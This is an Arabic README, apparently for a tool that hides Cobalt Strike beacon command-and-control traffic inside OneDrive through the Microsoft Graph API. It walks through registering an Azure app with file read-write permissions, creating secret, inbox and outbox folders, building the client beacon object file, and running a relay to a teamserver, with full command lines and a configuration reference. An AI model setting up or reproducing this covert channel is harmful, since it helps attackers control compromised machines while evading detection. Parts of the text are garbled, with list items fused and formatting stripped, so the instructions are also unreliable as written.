
OneDrive كوسيلة نقل C2 خفية لـ Cobalt Strike
قناة C2 معرّفة من قبل المستخدم في Cobalt Strike تستخدم OneDrive كطبقة نقل.

Files.ReadWrite.All.في Azure Portal، انتقل إلى App registrations وأنشئ تطبيقًا جديدًا:
دوّن tenant ID وclient ID من صفحة النظرة العامة.
ضمن API permissions:
Files.ReadWrite.All.ضمن Certificates & secrets، أنشئ سرًا جديدًا وانسخ قيمته.
في OneDrive الخاص بالمستخدم، أنشئ مجلدين، واحد لصندوق الوارد وواحد لصندوق
الصادر (مثل c2inbox وc2outbox).
افتح Graph Explorer، سجّل الدخول بذلك المستخدم، ونفّذ:
GET https://graph.microsoft.com/v1.0/me/drive/root/children
احصل على id لكل مجلد وdriveId من أي إدخال في استجابة JSON.
cp server/config.json.example server/config.json
املأ server/config.json:
ثم ابنِ العميل:
make
ابدأ الـ relay (استخدم screen أو tmux ليبقى يعمل إذا انقطع اتصال الطرفية):
python3 server/relay.py --config server/config.json --ts-addr <teamserver-ip> --ts-port <udc2-port>
في Cobalt Strike، أنشئ مستمع UDC2 على نفس المنفذ وحمّل client/bof.o.
ينشئ الـ relay بعض الملفات بجانب الإعدادات الخاصة بك لتتبع الأمور بين عمليات إعادة التشغيل:
config.json.state.json) - يتتبع ملفات صندوق الوارد التي تمت معالجتها، والتحميلات المعلّقة، ومعلومات جلسة الـ beacon. عيّن مسارًا مخصصًا باستخدام --state.config.json.state.json.spool/) - يحتوي على بيانات الاستجابة التي لم يتم تحميلها إلى OneDrive بعد. إذا تعطّل الـ relay أثناء التحميل، يحتفظ الـ spool بالبيانات ليتمكن من إعادة المحاولة عند التشغيل التالي.config.json.state.json.lock) - يمنع تشغيل نسختين من الـ relay على نفس الحالة. إذا رأيت Another relay holds the lock ولا يوجد relay آخر يعمل، فالقفل قديم من تعطّل سابق.إذا تلفت الحالة المحلية للـ relay أو كان قفل قديم يمنع بدء التشغيل، استخدم --clean لمسح ملف الحالة ومجلد spool ليبدأ الـ relay من جديد:
python3 server/relay.py --config server/config.json --clean
يُحتفظ بملف القفل. لن يقوم الـ relay بالتنظيف أثناء تشغيل نسخة أخرى. عند التشغيل العادي التالي يعيد التهيئة ويتخطى أي ملفات في صندوق الوارد أقدم من 30 دقيقة.
يمكنك أيضًا إعادة التعيين يدويًا بحذف ملف الحالة ومجلد spool بنفسك. إذا كان ملف القفل قديمًا (لا يوجد relay يعمل)، احذفه أيضًا.

| Field | Value |
|---|
tenant_id | Microsoft Entra ID tenant ID |
client_id | Application client ID |
client_secret | Client secret value |
drive_id | OneDrive drive ID |
inbox_folder_id | Inbox folder ID |
outbox_folder_id | Outbox folder ID |
| Flag | Description |
|---|
--config | المسار إلى config.json (مطلوب) |
--ts-addr | عنوان IP الخاص بـ Teamserver |
--ts-port | منفذ مستمع UDC2 |
--poll | فترة الاستقصاء بالثواني (الافتراضي 2.0) |
--state | المسار إلى ملف الحالة (الافتراضي: <config>.state.json) |
--debug | تفعيل تسجيل التصحيح |
--clean | حذف ملف الحالة ومجلد spool، ثم الخروج |